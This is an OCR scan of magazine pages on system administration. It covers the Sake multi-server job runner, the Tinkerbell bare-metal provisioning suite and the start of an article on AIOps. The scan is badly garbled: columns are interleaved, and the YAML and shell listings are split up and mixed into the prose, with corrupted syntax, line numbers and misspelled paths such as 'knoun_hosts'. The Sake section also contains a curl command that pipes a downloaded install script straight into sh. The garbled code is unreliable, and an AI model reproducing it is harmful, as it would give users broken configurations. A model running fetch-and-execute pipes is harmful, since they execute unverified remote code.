tered in a knoun_hosts file, you can
check Sake’s configuration for syntac-

tical errors:

Listing 1: sake.yam1 Example

# apt install curl 91 # Use a non-default knoun_host

# curl -sfL 2
https://raw.qithubusercontent.com/2

82 knoun_hosts_file: /home/sake/.ssh/knoun_hosts2
03
04 # Every server is labeled with the "devuan" tag

[alajmo/sake/main/install.sh] | sh

o 85 servers:
Once the program is installed, you 0% g
need to write a proper configuration $ sake check o7 user: root
file that defines your inventory of 08 host: [horse.operationalsecurity.eg

servers (in this case, horse, donkey,
and zebra). It will also codify the
tasks you might want to run (Listing 1).
Keep in mind that the configuration
file is a YAML file; therefore, you do
need to use spaces instead of tabs for
indentation. This file can be placed
within the directory from which

you are running Sake, because Sake
checks the current directory when
launched and loads any file named
sake.yanml.

Sake uses a secure shell (SSH) con-
nection to issue commands to every
server it manages. In the example,
lines 5-17 define the fully qualified

If no warnings are generated, you
may execute tasks. For example, to
run the upgradeall task, which is
configured to run only against devuan
servers by default, enter

09 tags: [devuan]
16 donkey:
user: root

host: |donkey.operationalsecurity.eg

11

12

13 tags: [devuan]
14 zebra:

15

$ sake run upgradeall
user: root

6 host: [zebra.operationalsecurity.ed

Targets can be overridden, so if you
17 tags: [devuan]

want to run upgradeall against arbi-
trary targets instead of only devuan,
you could pass Sake the new targets
with the -s flag,

9 # A single task is defined, which by default will
20 # run only against "devuan" hosts.
21 tasks:
22 upgradeall:
$ sake run upgradeall -s horse,goat
23 desc: Upgrade all packages

24 target:

hostname (FQHN) for each server and
the user you will connect as, which

which would require server goat to be
added to the configuration file.

tags: [devuan]

is root in the three cases. All servers ;j end: | ¢ uodat
. o . . apt update
are tagged as devuan. The tasks sec- Dlscrlmlnatlng Servers » Ae—

tion defines an upgradeall task, which
uses apt to upgrade all the packages
in all the servers classified as devuan
(Figure 1).

The use of SSH keys rather than
user-password credentials [2] is rec-
ommended to make the automation
process more secure and less cumber-
some. I also recommend you add the
SSH fingerprints of your servers to
your knoun_hosts file in advance. Sake
is based on libraries that are some-
how limited when it comes to dealing
with the knoun_host file, as described
in the “Known Problems with knoun_
hosts” boxout.

Real networks feature a het-
erogeneous mix of services
and operating systems. You
are likely to have different
Linux distributions coexisting
together in your server fleet,
and you can’t count on them
all behaving the same way or
featuring the same utilities. For
example, if you have a mix of
Devuan and Rocky Linux serv-
ers, the example configuration
in Listing 1 will do no good
because apt upgrade won’t up-
date a Rocky Linux instance.

fi

done

Building dependency tree...
Reading state information...
Calculating upgrade...

® upgraded, ©® newly installed, @ to remove and @ not upgraded.

mkdir .ssh

Listing 2: Alternative known_host

if [ | -d .ssh ] then;

for name in horse donkey zebra; do

TARGET=${name}.foperationalsecurity.eg

echo "$TARGET" \

“ssh root@"$TARGET" cat /etc/ssh/ssh_host_ecdsa_key.pub™ \
>> $HOME/.ssh/knoun_hosts2

RECAP % % % 3 e 3 s e afe e e e e e e sfe s e e e sie s sie e sk e s s s e s ee s e st s ke g e sk e e st s e e ek e R MR R R R RN R R XXX R XX R XXX L XXX L XXX RERR XXX REEXRERER RS

workstation$

1gnor

ig

ignored=0

Figure 1: Sake executes the upgradeall task and prints a summary at the end of the job.
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Listing 3: Multi-0S Upgrade Task
81 knoun_hosts_file: /home/sake/.ssh/knoun_hosts2
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23 desc: Upgrade all packages

02 24 target:

03 # Every server is labeled with the proper 0S or 25 all: true

04 # distribution it is running. 26 cmd: |

05 servers: 27 if [[ $S_TAGS = "devuan" 11; then
06 devuan: 28 apt update

07 user: root 29 apt upgrade -y

98 host: [devuan.operationalsecurity.ey 30 elif [[ $S_TAGS = "rocky" 11; then
89 tags: [devuan] 31 dnf --refresh upgrade-minimal

18 rocky: 32 elif [[ $S_TAGS = "openbsd" ]]; then
11 user: root 33 pkg_add -u

12 host: |rocky.operationalsecurity.es 34 syspatch

13 tags: [rocky] 35 MY_STATUS=${?3

14 openbsd: 36 if [[ $MY_STATUS -eq @ || $MY_STATUS -eq 2 ]]; then
15 user: root 37 exit @

16 host: lopenbsd.operationalsecurity.eq 38 else

17 tags: [openbsd] 39 exit $MY_STATUS

18 40 fi

19 # A single task is defined, which by default will 41 else

20 # run against all hosts in the inventory. 42 echo "No upgradeall implemented for this server”
21 tasks: 43 exit 1

22 upgradeall: 44 fi

Sake is not clever enough to know
that Devuan servers are updated with
apt upgrade but that Rocky servers are

fleet and you want to be able to use
the upgradeall task to update every
server with a single command, even

shell variables that are passed to the
task being run, which can include:

updated with dnf upgrade-minimal. though they are running different B S_NAME
You can, however, trick it into issuing  software stacks. To do so, replace the B S _HOST
the proper command. upgradeall task from Listing 1 with the B S_USER
Say you have a bunch of Devuan, new version in Listing 3. This code B S_PORT
Rocky, and OpenBSD servers in your works because Sake sets a number of B S_TAGS

EEEEEEREEE

TASK [upgradeall: Upgrade all packages]

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

g ged chimaera-
rg/merged chimaera

ftp: connect: No route to host
pe connect: No route to host
d.org/pub/0OpenBSD;
No route to host
status 1

6.8 kB/s | 4.1 kB ae:08

te information...
es are up to date.

Reading pac =

Rocky Linux 9 -

Building dependency tr
Reading state information...
Calculating upgrade. ..
@ upgraded, 8 n y installed, 8 to remove and @ not upgraded.
Rocky Linux 9 - 8.7 kB/s | 2.9 kB
Dependencies resol

Nothing to do.

Complete!

060:00

12 kB/s | 4.5 kB

0e:00

RECAP ****tsfssssssssssnss PTTIIIT T T

Figure 2: Sake reports a failure if a host failed to complete an assigned task. Here, syspatch exited with status 1, which means an update
was requested but the script failed to retrieve it.
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The particular server on which a
command is run is defined with
S_TAGS, which allows you to feed a
simple script to the server with the
cmd parameter that uses apt to update
Devuan hosts, dnf to update Rocky
hosts, and pkg_add with syspatch to
update OpenBSD hosts. The only
thing you need to remember is you
have to tag each server properly in
the servers section of the configura-
tion file.

Notice that this simple script exits
with a non-zero status if the server

is not labeled with a valid tag (see
the “Exit Status” box). Sake is smart
enough to realize an abnormality was
found if the task exits on an error and
will report an incident for any failed
job (Figure 2).

Task Execution Strategies

For big server fleets, you should know
the order in which Sake executes
tasks. If you invoke many tasks
against 2,000 servers, your worksta-
tion will be incapable of running
them all on all the machines at once.
Instead, Sake queues the tasks and
executes them in order, often running

. Exit Status

If Sake attempts to run a command or script
on a host that returns a non-zero exit status,
Sake considers the task failed and reports it.
Most commands (e.qg., 1s or rm) return 0 on
success and a different value on failure. Un-
fortunately, many benign failures can cause
processes to exit with a non-zero exit status.
For example, OpenBSD's syspatch will exit
with status 2 if the user requests an update,
but no updates are available in the OpenBSD
repositories.

Having Sake report a failure on one of these
trivial non-failures is not useful. If you don't
want Sake to throw a failure warning be-
cause of a process that exits with a non-zero
status from a benign failure, you can use a
workaround similar to that shown in Listing
3; line 35 captures the syspatch exit status
and records it in the MY_STATUS variable.
Lines 36-40 ensure that the script exits

with status 0 if syspatch itself exits with a
status of either 0 or 2, thus preventing Sake
from throwing a warning. Should syspatch
exit with a different value, the script exits
with that value and a failure is reported.

WWW.ADMIN-MAGAZINE.COM|
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multiple tasks in parallel. The way
tasks are prioritized and queued for
execution is referred to as a task ex-
ecution strategy [4].

The default strategy is 1inear, which
tries to run each task against every
target before launching the next task
(Figure 3). For example, say you
have defined tasks pet, feed, and
give_treat. If you were to invoke
multiple tasks against multiple serv-
ers, with a command like

$ sake run pet,feed,give_treat 2
-s horse, donkey, zebra

Sake would run pet against all the
servers, then feed, then give_treat.

If the number of servers you operate
is obscenely large, you can limit the
maximum number of jobs Sake at-
tempts at once with the --batch flag.
A batch value of 2 in a 1inear strategy
would have Sake pick two servers,
run the first task on them, then move
on to the next two servers, and iterate
that way until the first task was com-
pleted. Afterward, it would launch
the next queued task:

$ sake run pet,feed,give_treat 2
--batch 2 -s horse,[...],platypus

The second strategy is host_pinned,
defined with the --strategy flag,
which makes Sake walk through each

of your hosts and run all the tasks
programmed for that host in order
before moving to the next host (Fig-
ure 4). The --batch parameter tells
Sake how many hosts can be pro-
cessed in parallel:

$ sake run pet,feed 2
--strategy host_pinned 2
--batch 2 -s horse,donkey, zebra

The final strategy is free, which is

no strategy at all. This “unstrategy”
just runs all tasks at the same time
indiscriminately.

A Simple Tool Falls Apart

You often hear that you ought to use
the simplest tool you can to complete
a job, but not a simpler one. Sake’s
simple configuration, performance,
and ease of use come at a price,
which you will start paying as soon
as your server fleet turns complex.
Sake has serious issues when issu-
ing commands to devices that don’t
feature a POSIX-style shell, even if
they have an SSH interface that is
perfectly fine. During testing, Sake
failed to manage my MikroTik rout-
ers properly, which use a proprietary
shell. Solutions are possible but come
across as ugly hacks. For example,
Listing 4 makes all tasks run against
mikrotik as local (line 5), which

LINEAR STRATEGY
* BATCH: 1
* FIIVE TASKS TO EXECUTE ON EVERY SERVER

Figure 3: In the 1inear execution strategy, each task is completed on each server before

Sake starts processing the next task.
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* BATCH: 1

HOST PINNED STRATEGY

* FIIVE TASKS TO EXECUTE ON EVERY SERVER

Figure 4: In the host_pinned execution strategy, Sake executes all the tasks programmed
for each server before moving on to the next server.

. Listing 4: MikroTik Router Workaround
01 servers:

02 mikrotik:

03 user: admin

04 host: [gateway.operationalsecurity.ed
05 local: true

06 tasks:

87  upgrade:

08 desc: Upgrade Mikrotik

09 target:

18 servers: [mikrotik]

11 cnd: ssh $S_USER@$S_HOST "/system/package/update/

dounload"

. Listing 5: Misbehaving Nested Tasks

01 # This confiqguration does not work as you may expect!

82 tasks:

03  dogfeeding:

04 cmd: |

85 echo "Here you are, a bone!"
06 target:

07 tags: [dog]

88  horsefeeding:

09 cmd: |

19 echo "Take an apple, you good horsey!"
11 target:

12 tags: [equine]

13 petfeeding:

14 target:

15 tags: [animals]

16 tasks:

17 task: dogfeeding

18 task: horsefeeding
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means the commands described by
the tasks’ cmd will run on the worksta-
tion running Sake instead of directly
on the target host over SSH.

This method allows you to call arbi-
trary tools and scripts to do your bid-
ding. In this case, you call OpenSSH
to connect to the host and issue an
upgrade command; however, Sake
won’t be an elegant solution any-
more. You might as well use Ansible
at this point, which has readily avail-
able playbooks for interfacing with
MikroTik gear.

Sake is still in the development stage
and it shows. For example, you can
define tasks that call other tasks;
therefore, in theory, you can create

a task called petfeeding which itself
invokes tasks dogfeeding and horse-
feeding (Listing 5). The problem is
that this configuration will misbehave
because the target attribute is only
evaluated for the root task. In other
words, if the root task uses animals as
a target, then Sake ignores the targets
defined for each subtask, and all the
subtasks will be run against every
animal disregarding their status as
either dog or horse.

Simply put, if you run

$ sake run petfeeding

then Sake runs the petfeeding task,
which runs both dogfeeding and

horsefeeding on all animals. The
end result is that dog servers receive
an apple each (in addition to their
bones), whereas equine servers get a
bone (in addition to their apples).

Conclusion

Sake is a handy tool requiring mini-
mal knowledge to run batch com-
mands on multiple servers at once. Its
configuration can be kept in a tight,
single text file. Sake is well docu-
mented [5], and you can find useful
tips on their website. Of special inter-
est is the Recipes section [6], which
includes example tasks for uploading
files or copying scripts into the serv-
ers and executing them in a single
operation.

That said, Sake is still in early de-
velopment and suffers a bit for it.

It is, by design, limited in scope,
which is both a boon and a bane.
Sake is not replacing Ansible any-
time soon, if only because that is
not its intended goal. It is, however,
a good tool to keep in one’s tool-
box, just in case you need a light-
weight job runner. ]

Info

[1] Sake binary releases:
[https://qgithub.com/alajmo/sake/releaseg]

[2] “How to configure key-based au-
thentication for SSH" by Evans
Amoany (Sudoer), Red Hat, May 2022:
[https://www.redhat.com/sysadmin/]

key-based-authentication-ssh]
[31 x/crypto/ssh bug regarding known_host:

[https://github.com/golang/qo/issues
?, ]

[4] Task execution strategy:
[https://sakecli.com/task-execution/]

[51 Sake documentation:
[https://sakecli.com/examples/]

[6] Sake recipes:

[https://sakecli.com/recipes/]|
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Tinkerbell bare metal deployment

Fill 'Er

Tinkerbell

Up!

Tools that handle bare metal deployment are few and far between, but the free Tinkerbell program tackles this
problem with a modern architecture that comes from the metal-as-a-service scene, allowing you to control the
roll out through an APl and configure systems with your automation tool of choice. sy Martin Loschwitz

All of today’s major vendors offer
automated server installation and
configuration options, but if you want
to avoid being tied in to a distribu-
tion provider, you will run into major
issues. Ignoring vendor-specific solu-
tions, you are likely to search in vain
for bare metal deployment tools. Al-
though Foreman is the classic choice
and niche solutions such as Orcha-
rhino also offer a great deal of func-
tionality, they are not considered genu-
ine candidates because many of the
applications available are either very
narrowly focused on individual areas
of use or have sprawled so massively
over the years that introducing them
is virtually impossible. The developers
at Tinkerbell [1] are looking to change
this difficulty and have launched a col-
lection of tools that promise modern
bare metal deployment.

Rack It

The IT industry has changed fun-
damentally now that individual
computing units designed to fit in
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the standard rack structures of data
centers and server rooms (1U serv-
ers) have become so powerful that
their hardware is not leveraged to its
full potential just running individual
programs. Virtualization has been the
gold standard for nigh on 20 years,
whether in the form of virtual ma-
chines or containers.

The rules of the game have changed
fundamentally in the corporate
landscape, not least because of the
principles of cloud computing and
cloud native architecture: Customers
increasingly expect IT service provid-
ers to be - first and foremost - plat-
form operators. Today’s customers
consume CPU and RAM in a far more
dynamic way than was the case just
five years ago, making use of the pos-
sibility of tasking highly specialized
service providers with the creation of
environments that can then run on
any platform.

Thus, the day-to-day challenges
faced by platform providers are
fundamentally different from those
they faced in the past. From today’s

perspective, large IT platforms are
initially like a war of attrition with
the constant need to scale up. How-
ever, anyone who regularly expands
their data center rack by rack cannot
possibly do this with the same tools
they used for their work on small-
scale setups, which is why automa-
tion and orchestration have become
part of everyday IT life.

The ideal scenario after a server is
delivered is that the only manual
tasks left to be done are physically
installing the box in the rack and
wiring it up correctly. Once the ma-
chine is switched on, you will want
it automatically to install the re-
quired operating system (OS), along
with the desired software set, and
become a working part of the exist-
ing setup. Major providers and oth-
ers have jumped on this bandwagon
and are promoting their automatic
installation solutions, whether it

be Red Hat with Kickstart and Ana-
conda, SUSE with AutoYaST, Ubuntu
with Metal as a Service, or Debian
with preseeding.
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Origin Story

The Tinkerbell tool suite, which
owes its name to the fairy godmother
from the Peter Pan series, is not only
fairytale-like in name, Tinkerbell
claims to provide admins in generic
and heterogeneous environments all
the tools needed to install any server
automatically to the extent that an
existing automation environment can
then take care of the rest.

This scenario sounds quite plausible
given Tinkerbell’s back story, because
the software was originally devel-
oped by Packet, a metal-as-a-service
provider, which has since been taken
over by data center provider Equinix.
Packet’s business model was very
simple: Much like AWS or Azure, it
provided its customers self-sufficient
systems that were not virtual in-
stances but genuine bare metal.
Therefore, IT managers could reserve
a server at the press of a button;
Tinkerbell then installed the required
operating system and provided a pre-
configured system to the customer.
Now you might say at this point

that local hosters such as Hetzner
have been doing precisely this for
years, but the comparison is far from
accurate.

Why Use Tinkerbell?

The automated installation of serv-
ers has hardly changed to this day.
The protocols are roughly the same
as those used 25 or more years ago:
PXE, DHCP, and TFTP serve up an
image with the operating system in-
stallation routine to a system booting
off the network. The routine runs,
loading additional software along the
way, and ultimately installs the OS on
the computer’s storage devices.

Tinkerbell MANAGEMENT

Unlike previous tools, however,
Tinkerbell implements the entire
strategy in the form of interrelated
microarchitecture components that
can be connected and controlled

by a central API. This arrangement
came about because existing Packet
components were not sufficiently up
to date at the time and developers
worried about problems with their
architecture. Anyone who has ever
rolled out a framework for the auto-
matic installation of systems on the
basis of a traditional DHCP server,
tftpd, and similar elements will be
aware of the issues, especially con-
sidering that the protocols just men-
tioned do not provide a complete
framework.

Almost as important as the way in
which a server obtains its software
is the question of how it obtains an
ad hoc configuration that lets it field
that software in the first place. Virtu-
ally every modern server in the data
center can now boot off the network,
but systems often have several con-
nections to different local networks,
and all of the network cards in-
volved support PXE. You then need
to select the correct network card to
which the appropriate DHCP server
and - as a result - all other services
required for the deployment then re-
spond (Figure 1).

Moreover, this problem does not just
arise in the context of the initial instal-
lation of a system. In line with the
automation maxim that if someone
has to log in, you need to reinstall, it is
almost commonplace nowadays to re-
install systems on the fly, just because
you experienced an issue with them.
In many places, the rule is that after
logging in to a system, a ticket must
first be opened for internal engineer-
ing because either the automation

>>Start PKE over IPu4.PKE-E18: Server response timeout.
EFI stub: Booting Linux Kermel...
EFI stub: EFI_RNG_PROTOCOL unavailable

EFI stub: Using DTB from configuration table
EFI stub: Exiting boot services...

Figure 1: The challenge for PXE and DHCP network boots is to initiate the boot process from
the network in the right way and to supply the right software to the system.
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or the central logging was not up

to the task of sending the system

for reinstallation after the event.

The thinking behind this approach

is that it is the only way to avoid
problems caused by local, manually
induced differences in the system
configuration.

However, for a system to be rein-
stalled during ongoing operation, the
deployment framework must have ad-
ministrative access to the hardware.
The only way to do this is to use
popular remote management proto-
cols, usually the Intelligent Platform
Management Interface (IPMI), which
is the only protocol typically found
on the baseboard management con-
troller (BMC) boards of today’s crop
of current servers. The BMC enables
forced system restarts with a defined
start device. In the case of a new
installation, this means booting off
the network. However, separate soft-
ware is required to control a server in
conjunction with the other services

I mentioned, which is often not in
place in the context of classic deploy-
ment environments. Packet was look-
ing to avoid patchwork setups and
therefore decided to design Tinkerbell
as an environment including the ap-
propriate functionality.

Tinkerbell can be controlled entirely
by API calls, which is a key feature
from the developers’ point of view.
The strategy is appropriate for the
times. APIs have proven to be a kind
of silver bullet for controlling large
platforms, especially those based on
REST and HTTP. From this perspec-
tive, Tinkerbell is a piece of cutting
edge software tackling an ancient
problem with an up-to-date toolbox.

What Microservices Do

A look at the Tinkerbell architecture
reveals the Tink Server, Tink Control-
ler, Tink Worker, Hook OS installation
environment, and Boots DHCP server
(Figure 2). The software follows the
requirements of a microarchitecture
application, meaning that each of the
components described is responsible
for a specific step in the deployment
process.
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The Tink Controller is something

like the central hold-all for the other
services. It contains the knowledge
of all actions performed and to be
performed with regard to the environ-
ment to which it belongs. Thus, it
dictates the tasks to be carried out,
such as installing a server or delet-
ing (decommissioning) an existing
system. It also maintains Tinkerbell’s
metadata, such as specific configura-
tion settings for individual systems.
However, the Tink Controller itself
does not take part in the activities,
because it would contradict the prin-
ciples of microarchitecture.

Instead, the Tinkerbell components
use a communication infrastructure
based on the gRPC remote procedure
call framework, which the Tink Con-
troller uses to send work packages
to the Tink Server. The Tink Server
is primarily a kind of scheduler; it
fields incoming tasks (e.g., Install
Debian GNU/Linux 12 on machine
123), organizes and validates the
tasks, and creates concrete work
instructions from them. However,
the Tink Server does not process

the completed and prioritized work
packages itself.

Instead, it is helped by a component
known as the Tink Worker, which
triggers the installation process.

Like all Tinkerbell components, the
Worker is seamlessly horizontally
scalable, which means any number
of Tink Workers can run at the same
time in a single setup. They regularly
communicate with the Tink Server
and ask it whether any tasks are yet
to be completed. The server distrib-
utes the pending work orders to the
various Tink Worker instances, which
then get to work.

In keeping with the principle of mi-
crocomponent architecture, the Tink
Worker itself does not contain any
functionality for the installation of the
operating system. Instead, the task of
prepping a suitable PXE/DHCP/TFTP
environment is handled by the fourth
component in the group: Boots.
Boots is primarily a DHCP server that
hands out IP addresses to servers and
uses iPXE to configure them so that
they boot to an install image. Boots

is designed, by default, so that - in

1. Hardware

Tinkerbell 2. Template
cu

3. Workflow

Control
Server/VM
Provisioner
Boots
(DHCP / iPXE)
Tinkerbell
(Workflow
Engine)
Hegel
(Metadata)

!

4. Start the worker

5. Contact the Tinkerbell
server

6. Retrieve workflow data
and tasks

7. Execute tasks

*

I |

lwmr‘

!w«k«] | Worker |

Server/VM 1

Server/VM 2 Server/VM 2

Figure 2: Tinkerbell manages bare metal requirements and comprises components that
implement a workflow engine that delivers a fully rolled out server on bare metal.
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existing networks - it only responds
to requests from MAC addresses that
Tinkerbell officially manages. If a
server not created by Tinkerbell is-
sues a DNS request, Boots does not
even respond. This arrangement al-
lows you to introduce Tinkerbell to
existing networks at a later date and
in parallel to an existing DHCP server.
That said, the DHCP server must then
be configured such that it also ignores
MAC requests from servers and the
Tinkerbell world.

Mini OS on Board

Boots has two options when serving
up a booting system to trigger the OS
installation: It can deliver an instal-
lation image from Red Hat, SUSE,
Ubuntu, Debian, or some other dis-
tribution; however, the disk would
then only contain the respective OS
installation minus the configuration
and automation work needed. Packet
opted for a different approach at the
time and decided to copy pre-config-
ured images to the running servers.
All you need at install time is a small
operating system on the target system
that is capable of downloading an im-
age and copying it to the local data
carrier.

Now Hooks enters the scene by fill-
ing this operating system role; it is a
small independent Linux distribution
that is intended as the underpin-
nings for running the other Tinkerbell
components. It runs in-memory, com-
pletely in the RAM of the machines
after starting the system, which
makes it fast. Moreover, you can use
Hooks and its built-in LinuxKit com-
ponent to create your own images of
RHEL, SLES, Ubuntu, Debian, and the
like and can then use these images on
the servers in your environment.
Because all of the regular command-
line tools are available on a running
Hook instance, it is far more flexible
than installing directly from the PXE
boot prompt. Special functions that
might be required on systems can
therefore be implemented with rela-
tive ease with Hook, whereas the
installation routines of other distri-
butions would have to be massively
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manipulated to achieve comparable
functionality.

You might have noticed that I have
not yet mentioned the tool for con-
trolling systems with the BMC inter-
face. The PBnJ component (power
and boot services) responsible in
Tinkerbell is not one of the core func-
tions and is even optional according
to the developers. Deployment can
take place in Tinkerbell without the
use of PBnJ. Of course, this scenario
does not make much sense, because
an administrator wanting to reinstall
a server would have to reboot the
server manually up front to make
sure the server boots off the network
and is handed over into Boot’s care.
Therefore, PBnJ is used in practically
every Tinkerbell setup, where it con-
trols the respective machine through
the server when called on to do so by
the Tink Worker in line with the in-
structions from the Controller.

Metadata for the
Configuration

I have not yet answered the question
as to how ready-to-run configuration
data can be meaningfully passed to
servers rolled out by Tinkerbell. Of
course, you could use your automa-
tion tool of choice after the entire OS
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cloud-1init:
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installation has been completed and
the respective image has been com-
pletely written to the disk. Depending
on the situation, however, it might be
necessary to configure a system up
front, which is the case, for example,
if you first need to create a configura-
tion for your automation tool on the
fully installed system because the tool
would otherwise not be able to access
the system at all.

This problem is not new, and virtual
instances in the cloud face similar
challenges. Amazon’s approach in
this case is to call up the cloud-init
service during the start of the in-
stance. The service then uses a spe-
cial IP address to retrieve its metadata
over HTTP/HTTPS; the metadata can
also contain code (e.g., shell scripts)
for execution (Figure 3). Packet has
recreated this entire principle in Tin-
kerbell with the Hegel component, a
rewrite of its predecessor Kant. The
metadata record for the current active
instance can be read out from an en-
vironment rolled out with Tinkerbell
at any time by calling:

curl <IP address>:56061/metadata
The cloud-init service or other

scripts can then leverage the meta-
data on the system itself.
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If you want to use cloud-init di-
rectly, you can alternatively retrieve
the metadata with a special URL in
a format compatible with the AWS
metadata format instead of in Tin-
kerbell syntax. In this way, you can
set up instances on the fly instead of
bundling the configuration data into
OS images. Updating these images is
far more time consuming than chang-
ing the metadata of an instance in
Tinkerbell.

Dream Team with
Kubernetes

As mentioned, Packet is long gone
as an independent company; what is
left today of Packet operates as a di-
vision of Equinix under the Equinix
Metal brand. However, Equinix does
not seem to have fully understood
the value of a powerful open source
tool like Tinkerbell, because it re-
cently handed over the software as a
project to the Cloud Native Comput-
ing Foundation (CNCF), after rela-
tively little had been done in terms
of further development since the
acquisition of Packet.

The project now has a new pri-

mary maintainer - Chris Doherty,

a developer who earns his living at
AWS - no doubt because Tinkerbell

WERNARNRERE NN

loud=init: HNENENENENERENERENERRE RN ER RN
EY

ni 1.E

ached t:

Figure 3: The cloud-init service is the standard tool for automatically configuring (virtual) instances with metadata during the boot
process. Tools such as Ansible can then take care of the rest.
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is now an integral part of Amazon
EKS Anywhere, the AWS offering for
Kubernetes on bare metal servers.
Doherty is also no stranger to Tinker-
bell, having been actively involved
since 2022. At the start of his career
as Tinkerbell maintainer, he made it
clear that the quiet times are over for
the time being. His focus is less on
the existing components and more on
getting Tinkerbell ready to work with
Kubernetes.

Thus far, the Tinkerbell Kubernetes
integration has been fairly modest.
Although it was possible to roll out
components such as kubelet, the
Kubernetes agent, on fully installed
nodes, no genuine integration had
occurred between Kubernetes and
Tinkerbell. Accordingly, it was im-
possible to control Tinkerbell from
within Kubernetes. That said, the
subject is something of a Holy Grail
in the context of the two environ-
ments. If the two could be connected
such that Tinkerbell serves up new
bare metal on demand for a run-
ning Kubernetes instance, the result
would be an automatically scaling
Kubernetes cluster that manages
itself. Rufio [2] does precisely this
by exposing a Kubernetes-style API
and enabling control by Kubernetes
but providing similar functional-

ity to PBnJ in the background. This
capability significantly increases the
options for using Tinkerbell in mod-
ern Kubernetes-based environments.
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However, the developers also make
it clear that the existing Tinker-
bell components will continue to
be maintained and that new fea-
tures will need to be added where
appropriate.

Trying Out Tinkerbell

Remarkably, it took a long time for
Tinkerbell and Kubernetes to talk to
each other, even though its develop-
ers identified Kubernetes as the main
deployment tool for Tinkerbell some
time ago. If you want to roll out Tin-
kerbell in production, you should
ideally have a running Kubernetes
cluster first. The required components
can then be quickly rolled out at the
command line in the form of Helm
charts. The configuration is handled
by the Kubernetes API.

However, a conventional install is
possible; the basis is then Vagrant

in combination with VirtualBox or
libvirt. The developers support all
infrastructures with excellent docu-
mentation. The quick start guides [3]
provide a quick introduction, and
everything else can be found on the
official Docs pages [4].

Conclusions

Tinkerbell is genuinely something
special: No other management tool
for bare metal relies so consistently
on open standards and modern

technologies as the former Packet
product. Although the officially rec-
ommended method of installation
requires Kubernetes, which could
be a downer for some administra-
tors, ultimately this decision is only
logical. Outside of scalable environ-
ments, it is virtually impossible to
leverage fully the many advantages
the software offers.

If you are looking to become a plat-
form provider, you will definitely
want to take a close look at Tinker-
bell. Although you can’t be guaran-
teed sure-fire success, companies that
use Tinkerbell will ultimately benefit
massively from economies of scale.
Once set up, Tinkerbell enables bare
metal management beyond the capa-
bilities of other tools.

Info

[1]1 Tinkerbell: [pttps://github.com/tinkerbell]

[2] Rufio: [https://pka.qgo.dev/qithub.com/
tinkerbell/rufid]

[31 Quick start quides: [https://github.com]
tinkerbell/playground#quick-startg]

[4] Documentation:
[https://docs.tinkerbell.org]
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AlOps brings artificial intelligence tools into everyday administrative
work, with Al-supported automation of some admin responsibilities.

By Martin Loschwitz

The innovation currently sweeping
across the IT industry is artificial
intelligence (AI). Language mod-

els such as ChatGPT, which can be
trained with existing materials, have
established themselves as a factor in
our daily lives. However, language
models are only a small part of Al
and not exactly the most obvious can-
didates when it comes to integrating
artificial intelligence into everyday IT
processes. Instead, industry service
Gartner listed better suited candidates
a while back, while coining the term
“AlOps” (artificial intelligence for IT).
After experiencing the pronouncement
of DevOps, ChatOps, SecOps - and
now AIOps - you might be frustrated
by yet more stuff that mainly comes
from the vendors’ marketing depart-
ments and doesn’t really address
actual needs in the daily IT grind.
What’s more, when it comes to arti-
ficial intelligence, people are always
worried about whether their jobs are
at risk.

How real is this danger? Will com-
puters soon take over the data center
and completely replace admins, or
has Gartner once again focused on a

ADMIN 81

niche topic to grab attention? “No”
to both questions; read on to find
out why.

What's All the Fuss?

The one genuine problem in the con-
text of discussions about AIOps is
the vagueness of the term “Al” Like
the cloud, AI has become part of the
everyday lexicon, but it is used in a
fuzzy way. Any process in which a
computer is involved and that is not
based on direct human input is already
considered Al

Gartner’s understanding of AIOps,
if you browse through the industry
analyst’s texts and flyers, is inte-
grating artificial intelligence tools
into everyday administrative work,
and even partially replacing human
skills in operations with Al-supported
automation [1].

Some administrators might be sur-
prised. For many years, monitoring
systems such as Nagios or Icinga
have offered options for providing au-
tomated responses to specific events,
but this automation needed to be
configured manually, and the results

were often more damaging than the
outcome they intended to prevent.
Accordingly, this kind of functional-
ity lies dormant in most setups today,
and admins attach great importance
to keeping it that way.

However, it is well worth taking a
closer look at the theory behind Gart-
ner’s brand of AIOps and its imple-
mentation. Gartner quite rightly notes
that IT has already changed massively
in recent years and that artificial intel-
ligence will sooner or later become a
necessity, primarily because of an old
acquaintance: the cloud.

Massive Setups

One forecast for the IT of the future
seems certain: Small providers with
rental space in any data centers will
become increasingly rare. Instead, IT
service providers will either special-
ize in individual services or mutate
into platform providers themselves.
Everything in between will disappear,
leading to decreasing numbers of IT
corporations grabbing a constantly
increasing share of the overall IT
market.

The focus on density and automa-
tion implicitly means fewer people
in the control room responsible for
increasing numbers of individual
servers, which is unlikely to make
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their work easier; the larger a setup,
all told, the larger its attack surface.
In a small setup with low traffic lev-
els, an admin might be able to tell
whether a distributed denial of ser-
vice (DDoS) attack is imminent by
looking at the monitor with the RRD
data of the installation in question.
If they have to deal with thousands
of servers and countless network
devices, though, this strategy will
no longer work.

Corporations that have already estab-
lished themselves as platform pro-
viders have reacted to this scenario.
Monitoring, alerting, and trending
(MAT) are integral parts of large
scalable platforms. Prometheus and
VictoriaMetrics collect and consoli-
date metrics data, Grafana prepares
and displays it graphically, and Loki
takes care of the central collection of
logfiles.

However, MAT is just a reaction to the
ever larger and more complex setups
that admins working for platform pro-
viders face. These tools theoretically
enable an admin to identify attacks
from metrics data, but, in practice,
they would need to keep a constant
eye on all of the platform’s graphs
and reliably identify even the small-
est of changes. Neither the human
eye nor the human brain can do that.
This is exactly where the proponents
of AIOps come into play.

The logic is simple: Where the hu-
man eye and brain fail, Al can easily
do the job. The primary focus is not
just on models for machine learning-
based language skills, but on machine
learning in general. Just as you can
prepare an algorithm for the correct
use of the language by feeding it lan-
guage samples, you can use examples
of real attack scenarios to teach a
different kind of algorithm to identify
the attacks at an early stage - and of-
ten in good time.

Almost every spam filter uses a very
simple form of machine learning.
However, the possibilities of artificial
intelligence are far more comprehen-
sive and already offer many more
opportunities, which lead to even
longer wishlists for the admins them-
selves - far more so for providers

[WWW.ADMIN-MAGAZINE.COM

AlOps NUTS AND BOLTS .

who look to keep admins happy with
appropriately designed products while
significantly boosting their revenues.
AlOps therefore needs to give compa-
nies a better response to attacks and
administrative challenges in everyday
life so that, ideally, dangerous situa-
tions cannot arise in the first place.
As a result, the products used for this
purpose will become cash cows for
corporations such as IBM, Dynatrace,
and others.

AlOps in Concrete Terms

Gartner might overuse the term
AlOps without breathing life into it,
but Red Hat and, in turn, IBM al-
ready have far more concrete ideas
of how the practical benefits of
AIOps could look.

In 2019, Red Hat presented an ex-
ample that was based on the Pro-
metheus time series database for
predicting the probability of DDoS
attacks from anomalies in traffic
